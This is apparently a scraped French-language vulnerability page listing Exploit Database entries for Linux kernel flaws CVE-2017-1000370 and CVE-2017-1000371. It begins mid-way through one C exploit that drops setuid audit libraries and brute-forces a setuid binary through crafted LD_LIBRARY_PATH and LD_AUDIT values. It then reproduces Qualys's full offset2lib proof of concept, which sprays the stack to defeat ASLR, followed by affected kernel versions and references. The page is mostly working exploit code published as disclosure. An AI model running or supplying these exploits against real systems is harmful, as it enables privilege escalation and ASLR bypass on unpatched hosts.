sizeof(DSTs)/sizeof(*DSTs)) die(); for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if (llp[sizeof(llp)-1]) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask) >= sizeof(lhcm)) die(); { char * cp = mempcpy(lda, LDA, sizeof(LDA)-1); size_t i; for (i = 0; i < MAX_RLDAS; i++) { cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA)); } if (cp >= lda + sizeof(lda)) die(); if (*cp) die(); } static char rlda[MAX_ARG_STRLEN]; const size_t args = 1 + pads + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; size_t i; for (i = 0; i < pads; i++) { *ap++ = pad; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 2 + ldas + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; size_t i; for (i = 0; i < ldas; i++) { *ep++ = lda; } *ep++ = rlda; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); { #define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/" static const char * const abs_las[] = { ABS_LA_DIR "" REL_LA, ABS_LA_DIR "/" REL_LA, ABS_LA_DIR "/." REL_LA, ABS_LA_DIR "/.." REL_LA, }; size_t i; for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) { const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); { struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_uid != getuid()) die(); if (st.st_uid != geteuid()) die(); } { static const #include "la.so.h" if (sizeof(la_so) != la_so_len) die(); if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die(); } if (fchmod(fd, 04755)) die(); if (close(fd)) die(); } } size_t try; for (try = 1; try <= 65536; try++) { { char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1); size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list)); if (rldas > MAX_RLDAS) die(); if (rldas <= 0) die(); while (rldas--) { cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA)); } if (cp >= rlda + sizeof(rlda)) die(); *cp = '\0'; } if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); die(); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }
Exploit Database EDB-ID : 42273

Date de publication : 2017-06-27 22h00 +00:00
Auteur : Qualys Corporation
EDB Vérifié : Yes

/* * Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <errno.h> #include <fcntl.h> #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) #define MAX_STACK_SIZE ((size_t)1<<30) #define MAX_ARG_STRLEN ((size_t)128<<10) #define MIN_ARGC 1024 static void analyze_mappings(const char * const binary) { if (!binary) die(); if (strchr(binary, ' ')) die(); int rval = EXIT_FAILURE; int dump = 0; const int fd = open("/proc/self/maps", O_RDONLY); if (fd <= -1) die(); static char buf[4096] = " "; char * cp = buf; for (;;) { if (cp >= buf + sizeof(buf)) die(); const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp); if (nr <= 0) { if (nr == 0) break; if (nr != -1) die(); if (errno != EAGAIN && errno != EINTR) die(); continue; } cp += nr; } *cp = '\0'; if (memchr(buf, '\0', sizeof(buf)) != cp) die(); size_t hi_bin = 0; size_t lo_lib = 0; size_t lo_heap = 0; size_t lo_stack = 0; const char * line = buf; for (;;) { char * const nl = strchr(line, '\n'); if (!nl) die(); *nl = '\0'; cp = NULL; const size_t lo = strtoul(line, &cp, 16); if (cp <= line || *cp != '-') die(); if (lo <= 0) die(); line = cp + 1; cp = NULL; const size_t hi = strtoul(line, &cp, 16); if (cp <= line || *cp != ' ') die(); if (hi <= lo) die(); cp = strrchr(cp + 1, ' '); if (!cp) die(); cp++; if (!strcmp(cp, binary)) { hi_bin = hi; if (lo == 0x08048000) { fprintf(stderr, "Please recompile with -fpie -pie\n"); die(); } } else if (!strcmp(cp, "[heap]")) { if (!lo_heap) lo_heap = lo; else { if (lo_stack) die(); lo_stack = lo; dump = 1; } } else if (!strcmp(cp, "[stack]")) { if (!lo_stack) lo_stack = lo; else { die(); } } else if (*cp == '/') { if (!lo_lib) lo_lib = lo; } *nl = '\n'; line = nl + 1; if (*line == '\0') break; } if (!hi_bin) die(); if (!lo_lib) die(); if (!lo_stack) { if (!lo_heap) die(); lo_stack = lo_heap; lo_heap = 0; } if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) { fprintf(stderr, "CVE-2017-1000370 triggered\n"); rval = EXIT_SUCCESS; dump = 1; } if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) { fprintf(stderr, "CVE-2017-1000371 triggered\n"); rval = EXIT_SUCCESS; dump = 1; } if (dump) { const ssize_t len = strlen(buf); if (len <= 0) die(); if (write(STDERR_FILENO, buf, len) != len) die(); } if (close(fd)) die(); exit(rval); } int main(const int my_argc, const char * const my_argv[]) { if (my_argc >= MIN_ARGC) { analyze_mappings(*my_argv); die(); } size_t stack_size = MAX_STACK_SIZE; if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0); else if (my_argc != 1) die(); if (stack_size > MAX_STACK_SIZE) die(); static char arg[MAX_ARG_STRLEN] = " "; memset(arg, ' ', sizeof(arg)-1); const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *)); if (argc < MIN_ARGC) die(); char ** const argv = calloc(argc + 1, sizeof(char *)); if (!argv) die(); char * const binary = realpath(*my_argv, NULL); if (!binary) die(); *argv = binary; size_t i; for (i = 1; i < argc; i++) argv[i] = arg; if (i != argc) die(); if (argv[i]) die(); for (i = 1; i; i++) { fprintf(stderr, "Run #%zu...\n", i); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &stack_limit)) die(); execve(*argv, argv, NULL); die(); } int status = 0; if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) == EXIT_SUCCESS) continue; if (WEXITSTATUS(status) != EXIT_FAILURE) die(); } die(); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 4.1 To (excluding) 4.1.43

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.78

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.39

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.11.12

Linux>>Linux_kernel >> Version From (including) 4.12 To (excluding) 4.12.3

Références

http://www.securityfocus.com/bid/99149
Tags : vdb-entry, x_refsource_BID
http://www.debian.org/security/2017/dsa-3981
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/42273/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/42274/
Tags : exploit, x_refsource_EXPLOIT-DB